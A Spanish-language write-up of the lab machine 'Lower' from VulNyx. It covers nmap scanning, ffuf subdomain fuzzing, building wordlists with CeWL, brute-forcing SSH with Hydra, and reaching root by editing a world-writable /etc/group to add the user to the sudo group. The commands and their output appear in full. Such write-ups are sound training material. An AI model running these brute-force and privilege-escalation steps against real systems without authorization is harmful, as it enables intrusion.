VulNyx - Lower 🔵
- Brute Force SSH - (Hydra)
- Group File - (Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.32
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80 172.0.100.32
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://www.unique.nyx
HTTP - TCP 80
Añado el dominio unique.nyx
a mi archivo hosts y al previsualizar el dominio obtengo el siguiente error:
Al no encontrar ningún directorio con el escaneo de directorios, realizo un escaneo de subdominios.
❯ ffuf -t 100 -c -fw 1 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.unique.nyx" -u http://unique.nyx
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://unique.nyx
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.unique.nyx
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 1
________________________________________________
tech [Status: 200, Size: 19766, Words: 4127, Lines: 453, Duration: 7ms]
Añado el subdominio tech.unique.nyx
al archivo hosts
.
Realicé un escaneo de directorios y solo encontré los directorios de la página web.
❯ ffuf -c -t 200 -fc=404,403 -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://tech.unique.nyx/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://tech.unique.nyx/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404,403
________________________________________________
css [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 10ms]
fonts [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 13ms]
img [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 12ms]
js [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 11ms]
:: Progress: [20476/20476] :: Job [1/1] :: 195 req/sec :: Duration: [0:00:07] :: Errors: 0 ::
En la pestaña Team veo que hay 3 empleados con sus respectivos nombres, los cuales me pueden servir para crear un diccionario con nombres de usuario.
❯ echo -e "tom\nkathren\nlancer" > users.txt
Con la herramienta CEWL crearé un diccionario usando la página web y usaré la flag --with-numbers
porque, por defecto, CEWL solo extrae palabras alfabéticas, pero este parámetro permite añadir palabras que contengan dígitos.
cewl http://tech.unique.nyx --with-numbers -w pass.txt
Ahora realizo un ataque de fuerza bruta con Hydra usando los diccionarios creados.
hydra -t 64 -L "users.txt" -P "pass.txt" 172.0.100.32 ssh -V -F -I
Obtuve la contraseña del usuario lancer.
Me conecté al sistema con la contraseña obtenida.
❯ ssh lancer@172.0.100.32
lancer@172.0.100.32's password:
lancer@lower:~$ id
uid=1000(lancer) gid=1000(lancer) grupos=1000(lancer)
Una vez conectado al sistema, realicé una búsqueda de archivos y directorios con permisos de escritura y encontré el archivo /etc/group
.
lancer@lower:~$ find / -writable 2>/dev/null | grep -v -i -E 'home|proc|run|sys|tmp|dev|var'
/etc/group
Al identificar que /etc/group
es escribible, como lo muestra la salida del comando:
lancer@lower:~$ ls -la /etc/group
-rw-r--rw- 1 root root 619 dic 15 13:22 /etc/group
procedí a editarlo para agregar al usuario lancer al grupo sudo y guardé los cambios.
Me desconecté del sistema y me volví a conectar mediante SSH.
❯ ssh lancer@172.0.100.32
lancer@172.0.100.32's password:
lancer@lower:~$ id
uid=1000(lancer) gid=1000(lancer) grupos=1000(lancer),27(sudo)
Ahora, al estar en el grupo sudo, puedo obtener permisos de root lanzando un sudo su
y usando la contraseña del usuario lancer
.
lancer@lower:~$ sudo su
[sudo] contraseña para lancer:
root@lower:/home/lancer# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto, concluimos la explotación de la máquina Lower.
Saludos!